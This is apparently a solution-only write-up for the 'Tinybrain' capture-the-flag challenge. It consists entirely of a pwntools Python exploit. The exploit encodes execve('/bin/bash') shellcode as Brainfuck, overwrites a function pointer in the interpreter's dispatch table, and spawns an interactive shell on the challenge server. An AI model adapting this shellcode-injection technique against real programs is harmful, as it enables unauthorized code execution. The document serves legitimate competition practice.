Tinybrain

#shellcode#reverse-pwn#solution-only

Contents

Solution

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./bf_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b *0x401000
b *0x40382b
"""

file = "code.bf"

def conn():
    if args.REMOTE:
        r = remote("chals.swampctf.com", 41414)
    elif args.GDB:
        r = gdb.debug([elf.path, file], gdbscript=dbginit)
    else:
        r = process([elf.path, file])
    return r


def main():

    msg        =  b'PWNED\n'
    binsh      =  b'/bin/bash\0'

    start_addr =  0x403801
    msg_addr   =  start_addr
    binsh_addr =  msg_addr   + len(msg)
    code_addr  =  binsh_addr + len(binsh)

    # write(stdout, msg, sizeof(msg));
    # execve(binsh, null, null);
    shellcode  =  msg + binsh
    shellcode  += asm(f"""
                      mov rax, {msg_addr}
                      mov rsi, rax;
                      mov rdx, {len(msg)};
                      xor rdi, rdi;
                      inc rdi;
                      mov rax, rdi;
                      syscall;
                      mov rdi, rsi;
                      add rdi, {len(msg)};
                      xor rsi, rsi;
                      xor rdx, rdx;
                      mov rax, 59;
                      syscall;
                      """)

    # address of function pointer of 'E' in function map
    # value is 0x40101e
    func_map_addr = 0x402000 
    func_E_addr   = func_map_addr + ord("E") * 8

    dist = start_addr - func_E_addr

    # this variable tracks the index of the current byte
    index = 0

    # first byte will be reset to 0 for some reason
    # so we will skip a byte
    payload = b'>'

    # generate bf code
    # quick and dirty, if it works it works
    for ch in shellcode:
        payload += b'+' * ch
        payload += b'>'
        index   += 1

    # move the pointer to function map
    payload += b'<' * (index + dist)

    # edit function pointer (redefine character's function) to shellcode
    payload += b'-' * (0x1e - (len(binsh) + len(msg) + 1)) + b'>' # first byte
    payload += b'+' * (0x38 - 0x10)                               # second byte

    # Execute the character (jump to the edited function pointer -> shellcode)
    payload += b'E'

    # quit sending bf code and start code execution
    payload += b'q'

    if args.REMOTE:
        r = conn()
        r.sendline(payload)
        print(r.recvuntilS(b'PWNED'))
        r.interactive()
    else:
        with open(file, "wb") as bf:
            bf.write(payload)
        r = conn()
        r.interactive()



if __name__ == "__main__":
    main()